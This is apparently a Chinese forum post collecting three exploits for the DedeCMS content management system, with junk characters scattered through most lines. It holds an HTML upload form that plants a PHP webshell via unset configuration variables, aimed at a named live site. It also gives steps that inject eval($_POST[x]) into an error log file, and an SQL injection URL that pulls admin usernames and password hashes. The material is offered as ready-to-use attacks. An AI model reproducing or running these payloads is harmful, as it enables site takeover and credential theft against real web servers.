4 h" S- p$ u8 u# B% j0 J0 V" g8 A
0 A, e( ]1 s% Q& i0 @- u0 o1 R8 B! C
7 v0 u0 w* U6 A# W
) @! `9 w5 B0 |0 V
- i% E' J+ Z- {* o) G, m

& p" y4 ~- ^+ E3 H! n3 s7 Z9 M; M0 X# l+ ~# j9 P
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
1 V, a/ n5 B* M: _<html>% q1 \4 x! Q. o/ ^$ G
<head>; J* _6 @: M6 ~+ v
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>8 T& Y% }' s8 t4 a) {
</head>7 F" S2 U8 W# \1 |
<body style="FONT-SIZE: 9pt">3 w! Y) m! m3 z0 M: w" s0 _
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
5 j# j  ~# I8 P9 A, Z2 s5 `$ K<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>& k$ C& N8 b5 T% L
<input type='hidden' name='activepath' value='/data/cache/' />& ~- c; a# |1 e7 x
<input type='hidden' name='cfg_basedir' value='../../' />" D. B5 d# x+ {" q3 t& c; v: |' _
<input type='hidden' name='cfg_imgtype' value='php' />
9 u# N4 Z! S4 f8 S3 m4 o  O( [<input type='hidden' name='cfg_not_allowall' value='txt' />: [+ U* {$ r: i& S4 W7 \
<input type='hidden' name='cfg_softtype' value='php' />
5 H8 w8 X5 @( H1 q3 x! ]- }<input type='hidden' name='cfg_mediatype' value='php' />
, X. X; d% b2 a: d3 |; B<input type='hidden' name='f' value='form1.enclosure' />
- t' K5 E* P# d8 G<input type='hidden' name='job' value='upload' />
7 _& q) `: J( C) _/ m( \" N5 F3 l<input type='hidden' name='newname' value='fly.php' />% [/ K  C  L2 Z" E( f
Select U Shell <input type='file' name='uploadfile' size='25' />
; }  v( r7 {1 e7 F3 V<input type='submit' name='sb1' value='确定' />
7 _% p5 H! w: q0 {$ Q  _</form>. C4 v! z  H( \3 K" g# p! }9 F
<br />It's just a exp for the bug of Dedecms V55...<br />
/ }6 n2 S3 N7 I- HNeed register_globals = on...<br />
$ G, g3 J% `+ u% h2 Y" XFun the game,get a webshell at /data/cache/fly.php...<br />, h% i5 {& S( I+ o0 H6 T% X/ v0 s
</body>; l& x4 m& C; L6 a# `
</html>5 [% ?, A+ u  Z0 d. p9 Z" M  k" |
+ C4 s( |+ J) f5 E2 z- w
0 u" X' ?4 P6 x- _  E
- n! K: }2 n5 E& ~0 R9 Q, B
+ h# ?0 ^7 x+ X2 o, n. q, O7 x0 x
- x" I, y* D1 |* l+ I" h9 S

6 t! P+ F8 ^$ U: a" h& H5 l% c) L1 c6 q; S/ ]1 I) M/ w
: k4 h' d$ ~! v/ X3 C

9 C% M; O" }6 i$ e" \* j
- g2 d8 F* P+ P- b. c2 ?织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞/ ]; Q* V6 w. S& z
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
9 d- D" \1 o. c+ H1. 访问网址:/ C) u# G7 _. k8 d
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>+ a) H0 k2 F( w( }7 q
可看见错误信息
' m" j$ a4 \; J: s  e  R0 C' R

/ }- l5 ^; u+ m# \; ^3 X( L2. 访问
http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
7 p6 a0 Z1 u2 l: c& ~int(3) Error: Illegal double '1024e1024' value found during parsing+ b6 Z% k/ z$ N3 b2 M1 ^& H% j
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
$ e) y0 L# @' E  Q7 J+ U3 N$ K
' b) P1 G5 r/ v$ M/ \+ x; W0 A
3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是% F0 r  i2 H, J6 t' L$ c- ]- S

5 d0 n: h- q0 B: L1 k0 k$ E, o9 t
) T! T0 q# Z; `- m! e/ V<form action=”
http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
; t6 c9 g; n( h- E: u0 r1 A, y% v
* j7 Q) L) n( G( |" N. E- W  T7 A; \: q. s& K7 x) ?6 e
按确定后的看到第2步骤的信息表示文件木马上传成功.% Y2 s+ ]) y& L  f8 |1 e

/ X, O7 Q5 P& i
1 J* f4 x: e+ o: `- c- p+ C4 a1 ^$ Z! V) D& i# ?2 `
0 ]$ y2 O- H7 l. L+ `. A1 h, s; O

6 }" J' R: ^6 ?6 q% y* W# _0 q* r

' e- |" A& S4 |+ J% k5 k, _; Y8 S* {" \
1 x+ }5 n/ r. q) J4 A

3 j2 t* Z$ n$ W- H! ^. p& K& ?' e1 _" s1 e/ h
/ s' O0 w& `8 l$ F+ p: \) Z
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
* L, K6 R/ j# {# `http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表